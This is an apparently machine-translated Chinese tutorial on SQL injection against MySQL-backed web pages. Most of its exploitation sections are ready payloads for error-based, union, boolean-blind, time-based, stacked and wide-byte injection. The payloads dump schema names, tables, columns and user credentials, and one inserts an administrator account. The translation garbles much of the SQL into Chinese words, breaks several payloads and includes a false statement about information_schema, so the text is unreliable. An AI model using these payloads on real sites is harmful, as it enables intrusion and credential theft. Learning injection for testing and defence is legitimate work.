、数据库基础知识
要理解原理,SQL注入需要使用SQL数据库语法命令,所以如果有数据库知识可以直接跳过。
一、数据库基本操作命令
1.创建数据库
创建数据库名称。
2.创建表
如果不存在则创建表mobile(
ID int(10) 主键auto_increment Comment \’手机号码主键自增\’,
Brand varchar(50) not null comment \’手机品牌非空约束\’,
model varchar(50) is null comment \’手机型号非空约束\’,
Price int(10) not null Comment \’手机价格检查约束\’,
Count int(10) not null Comment \’手机库存检查约束\’,
version varchar(50) is null comment \”移动版本号非空约束\”
);
3. 添加数据
插入手机值(默认,\’Apple\’,\’IPHone4s\’,4999,100,\’chain\’);
插入手机值(默认,\’huawei\’,\’Z3L55\’,3999,100,\’chain\’);
插入手机值(默认,\’Mi\’,\’小米13\’,2999,100,\’chain\’);
4. 数据删除
从ID=1的手机中删除;
5、修改数据
更新手机设置价格=1999,数量=200 (ID=2)。
6. 查询数据
从您的手机中选择*。
从id=2 的手机中选择*;
从手机中选择ID 和品牌。
7.常用操作
select user(); # 查询当前用户
select version(); # 查询版本
select @@datadir; # 查询mysql安装路径。
select @@version_compile_os # 查询OS系统。
selectdatabase(); # 查询当前数据库。
二、常见数据库函数
CONCAT(s1,s2.sn) 函数
功能:将多个字符串连接成一个字符串。
从手机中选择concat(id,\’-\’,brand)。
CONCAT_WS(x, s1,s2.sn) 函数
该函数与concat() 函数相同,唯一的区别是您可以一次指定分隔符。
从手机中选择concat_ws(\’-\’,id,brand,version)。
左(s,n) 函数
功能:返回字符串s 的前n 个字符。
语法:左(str,长度)
str: 需要截取的字符串
length:截取的位数。注入过程中通常为1 位
用法: left(\’autumn\’,1) # return
选择左(\’秋天\’,1);
substr() 函数
功能:截取字符串
语法:substr(str,开始,长度)
str:要截取的字符串
开始:开始位置
长度:长度。通常为位1
用法:substr((选择数据库()),1,1)
选择substr((选择数据库()),1,1);
length() 函数
函数: 获取字符串长度
语法:长度(字符串)
用法:长度(数据库())
限位功能
功能:输出项目
语法:限制起始数,长度数
用法:限制0、1
if() 条件语句
特点:分支选择语句
语法:if(条件表达式,true,false)
用法: if(length(database())1,sleep(5),0)
sleep() 函数
功能: 睡眠
语法:睡眠(数字)
用途:睡眠(5)
extractvalue(XML_document, XPath_string);
第一个参数:XML_document,字符串格式,是XML文档对象的名称。文本是Doc.
第二个参数:XPath_string(Xpath格式字符串)。
功能:返回包含目标XML 中查询值的字符串。
用法:并extractvalue(null,concat(0x7e,(select version()),0x7e)) from
演示;
UPDATEXML(XML_文档,XPath_字符串,新值);
第一个参数:XML_document,字符串格式,是XML文档对象的名称。文本是Doc.
第二个参数:XPath_string(Xpath格式字符串)
第三个参数:new_value,字符串格式,替换找到的符合条件的数据。
功能:改变文档中符合条件的节点的值。
用法:和updatexml(null,concat(0x7e,(select version()),0x7e),null);
–php 函数
mysqli_multi_query() 函数
功能:该函数对数据库执行一个或多个查询。多个查询以分号分隔。
语法:mysqli_multi_query(连接,查询);
需要连接。指定要使用的MySQL 连接。
需要查询。指定一个或多个以分号分隔的查询。
如何使用:
mysql_multi_quer() 函数
与mysqli_multi_query 的一致性
三、information_schema库讲解
MySQL 5.0以上的数据库版本有一个名为information_schema的库。
不,没有information_schema 库。
information_schema 库中有很多表,但主要的三个是:
列:information_schema.clumns表,table_schema存储所有库名称,table_name
所有表名都存储在column_name中,所有列名都存储在column_name中。
表:information_schema.tables表,table_schema存储所有库名称,table_name存储
输入所有表名
schemata:information_schema.schemata 表的schema_name 列存储所有数据库的库名称。
、sql注入
一、sql注入的原理
后端没有验证用户输入的内容,从而允许用户输入的恶意代码执行。
二、sql注入的分类
因为类别很多,注入点也很多,旁路方法也很多,有的通用,有的独特。这是一个比较难的知识点,需要进一步思考,所以我们会在大标题中讲解它的使用和避免。
三、判断输入框是否存在sql注入
最为经典的单引号判断法: 在参数后面加上单引号,比如:
http://xxx/abc.php?id=1\’
如果页面返回错误,则说明发生了SQL 注入。 原因是字符型和整数型都报错,因为单引号的个数不匹配。
SQL 注入漏洞通常分为两类:数字和字符。
1、数值判断:
如果在URL地址中输入http://xxx/abc.php?id=x和1=1,页面将继续正常工作。继续下一步。
继续在URL地址中输入http://xxx/abc.php?id=x和1=2。如果页面运行不正确,则说明本次SQL注入是数字注入。
2.字符类型判断:
如果我在URL地址中输入http://xxx/abc.php?id=x\’和\’1\’=\’1,则页面运行成功。继续下一步。
继续在URL地址中输入http://xxx/abc.php?id=x\’和\’1\’=\’2。如果页面运行不正确,则说明本次SQL注入是字符注入。
四、危害
绕过登录限制,查询数据,下载数据,执行系统命令,创建一句话木马(WebShell),然后使用getshell
五、防御
1. 过滤“()order”等关键字。
2.判断函数is_number()
、不同sql注入分类的具体细节
一、报错注入
原理
使用后端编写的错误报告功能。错误报告函数的一个特点是它们返回错误的内容。使用这个函数可以返回你想要的数据。 (初学者容易理解)
报错注入常见的报错函数
提取值()函数
id=1 和(extractvalue(1, concat(0x5c,(select user()))));
id=1 和(updatexml(0x3a,concat(1,(选择用户())),1));
id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
id=1 和EXP(~(SELECT * from(select user())a));
name_const()
报错注入的防御方法
避免使用导致错误注入的函数。过滤用户输入并添加防火墙。
二、二次注入
、概述
二次注入是指存储的用户输入(数据库、文件)被读取并重新输入到SQL 查询语句中而引起的注入。
二次注入是一种比普通SQL注入更难利用、利用门槛更高的SQL注入。常规注入将数据直接输入到SQL 查询中,而二次注入则处理输入数据、存储数据、检索数据,然后再次将其输入到SQL 查询中。
、二次注入的原理
二次注入的原理是在第一次向数据库插入数据时,使用addslashes、get_magic_quotes_gpc、mysql_escape_string、mysql_real_escape_string等函数对特殊字符进行转义。然而,addslashes 的一个特点是参数被转义。添加\’\\\’进行转义,但是\’\\\’不会插入到数据库中,写入数据库时会保留原始数据。将数据存储在数据库中后,开发人员确定该数据是可信的。下次需要查询时,直接从数据库中取出脏数据,不做进一步的检查或处理,造成二次SQL注入。
例如,第一次插入数据时,数据包含单引号,直接插入数据库。然后在下次使用时,在粘合过程中会形成二次注塑。
三、宽字节注入
概念
宽字节注入是指当MySQL数据库使用宽字节(GBK)编码时,认为两个字符都是汉字(要达到汉字的范围,前面的ASCII码必须大于128(例如%df) ),如果输入单引号,mysql 会调用转义函数将单引号更改为\\\’。 \\的十六进制值为%5c,在mysql的GBK编码中为%df%5c,因此单引号被关闭(转义)并插入到攻击中。
示例:http://127.0.0.1/index.php?id=1 %df\’ 4 order — \’
涉及函数
添加rush()
mysql_real_escape_string()
mysql_escape_string()
、sql注入利用
一、常用的注入测试语句
and 1=1–+ //字符类型
\’ and 1=1–+//单引号类型(字符类型)
\’ and 1=1–+//双引号类型(字符类型)
) and 1=1–+//数字单括号
\’) and 1=1–+//字符单引号单括号
\’) and 1=1–+//字符双引号单括号
\’)) and 1=1–+//字符双引号双括号
三、联合注入
使用场景:有一个显示位,将执行SQL语句的结果输出到网页上。
?id=1\’ 3 Sort by –+ #查询字段个数//将所有–+替换为– -这样也可以
?id=-1\’ Union select1,2,3–+ # 检查回显位
//查询系统
?id=-1\’ 串联选择1,concat_ws(\’_\’,user(),version(),database()),@@basedir–+
//查询所有数据库
?id=-1\’union select 1,group_concat(schema_name),3 from information_schema.schemata –+
//查询表
?id=-1\’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()–+
//查询列名
?id=-1\’union select 1,group_concat(column_name),3 from information_schema.columns 其中table_schema=database() and table_name=\’users\’–+
//查询数据
?id=-1\’union select 1,group_concat(\’*\’,concat(用户名,\’—\’,密码)),3 from security.users—+
四、报错注入
使用场景:错误注入的使用场景是,你通常无法在页面上显示数据库信息,但如果有错误内容,你使用错误注入来检索错误信息以及在子查询语句中查询的内容我做不到。它。虽然仅限于这种场景,但是只要能打印mysql错误信息,就可以尝试错误注入。
错误注入的一种形式通常会创建两个嵌套查询,其内部部分称为子查询。执行顺序是先执行子查询。这允许您通过子查询查询您想要的数据,然后使用错误函数。查询并导出数据。
错误注入的7个常用函数_错误注入函数- CSDN博客错误注入函数
1.Updatexml报错方法
?id=1\’ and (select group_concat(schema_name) from updatexml(1,concat(0x3a,(information_schema.schemata)),1)))–+-
2.extractvalue报错方法
id=1\’ 和extractvalue(1, concat((group_concat(0x7e,table_name,0x7e) from information_schema.tables (table_schema=database()))))–+-
五、布尔注入
使用场景:根据注入执行结果的布尔值不同,页面显示不同,判断是否为布尔注入。
//判断数据库中第一个位置是否为s
?id=1\’ 和left(database(),1)=\’s\’–+-
?id=1\’ 和substr((选择数据库()),1,1)=\’ –+-
?id=1\’ 和ascii(substr((选择数据库()),1,1))=115–+-
//获取所有数据库名称
?id=1\’ 和ascii(substr((从information_schema.schemata 限制0,1)),1,1))=105–+- 选择schema_name
//获取当前数据库表名
?id=1\’ 和ascii(substr((从information_schema.tables 中选择table_name,其中table_schema=database() limit 0,1),1,1))=101–+-
//获取当前数据库表中users表的列名
?id=1\’ 和ascii(substr((从information_schema.columns 中选择列名,其中table_schema=database() 和table_name=\’用户\’ 限制0,1),1,1))=105–+-
?id=1\’ and ord(mid((从information_schema.columns 中选择列名, with table_schema=database() and table_name=\’users\’ limit 0,1),1,1)))=105– +-
//从用户表中获取数据
?id=1\’ and ord(mid((从security.users limit 0,1 中选择用户名),1,1))=68–+-
六、延时注入
使用场景:注入时,不发生页面变化,不显示位,不出现错误信息,无论注入是否正确。但添加sleep(5)条件后,如果if条件为真,则页面返回速度明显慢了5秒左右。
//判断时间数据库的长度
?id=1\’ 和if(length(database())7,1,sleep(5)) –+-
//查询数据库中的第一个位置
?id=1\’ 和if(ascii(substr(database(),1,1))=115,1,sleep(5)) –+-
//查询表
?id=1\’ 和if(ascii(substr((从information_schema.tables 中选择table_name
其中table_schema=database() limit 0,1),1,1))=101,1,sleep(5)) –+-
//获取当前数据库表中users表的列名
?id=1\’ 和if(ascii(substr((从information_schema.columns 中选择列名,其中table_schema=database() 和table_name=\’用户\’ 限制0,1),1,1)))=105, 1,sleep (5)) –+-
//从用户表中获取数据
?id=1\’ 和if(ascii(substr((security.users 从限制0,1 中选择用户名
),1,1))=68,1,睡眠(5)) –+-
七、堆叠注入
堆叠查询:堆叠查询允许您执行多个以分号(;) 分隔的SQL 语句。堆叠查询注入攻击使用此功能来构造在第二个语句中执行的语句。
在mysql 中,有两个函数对数据库执行一个或多个查询:mysqli_multi_query 和mysql_multi_query。多个查询以分号分隔。但是,堆叠查询只能返回第一个查询信息,不能返回后续查询信息。
堆栈注入危害很大,可以随意与增删改查语句一起使用,比如删除数据库、修改数据库、添加数据库用户等。
# 如果您知道对方管理表的结构,就可以在管理表中插入管理员帐户。
?id=1\’;插入用户值(20,\’sc\’,\’sc\’);–+- 3
查看
?id=20
八、二次注入
在二次注入过程中,第一次向数据库插入数据时,如果只是使用addslashes或者get_magic_quotes_gpc来转义特殊字符,addslashea的一个功能就是过滤掉\’\\\’转义参数,虽然添加了参数。之后写入数据时不再将“\\”插入数据库,保留原始数据。
将数据存储在数据库中后,开发人员确定该数据是可信的。下次需要查询时,直接从数据库拉取脏数据,不做进一步的检查或处理,造成二次SQL注入。例如,第一次插入数据时,包含单引号,直接插入数据库。然后在下次使用时,在粘合过程中会形成二次注塑。
九、宽字节注入
常用转义函数和设置:addslashes、mysql_real_escape_string、mysql_escape_string、php.ini
配置magic_quote_gpc
?id=1%aa\’ 且1=2 — –
?id=1%aa\’ 各3 件– –
?id=-1%aa\’ 连接选择1,2,3 — –
?id=-1%aa\’ 并集选择1,user(),3 — –
十、Http头部注入
用户代理:浏览器版本
COOKIE: 网站在用户本地设备上存储的数据,用于识别用户并执行会话跟踪。
X-Forwarded-For:获取HTTP请求者的真实IP。客户端-IP: 获取IP
引荐来源网址:浏览器告诉网络服务器哪个页面链接到您。
Host:访问的Web服务器的域名/IP和端口号
十一、sql注入读写文件
上面关于如何学习#SQL注入漏洞的文章摘自网络,仅供参考。相关信息请参见官方公告。
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/91626.html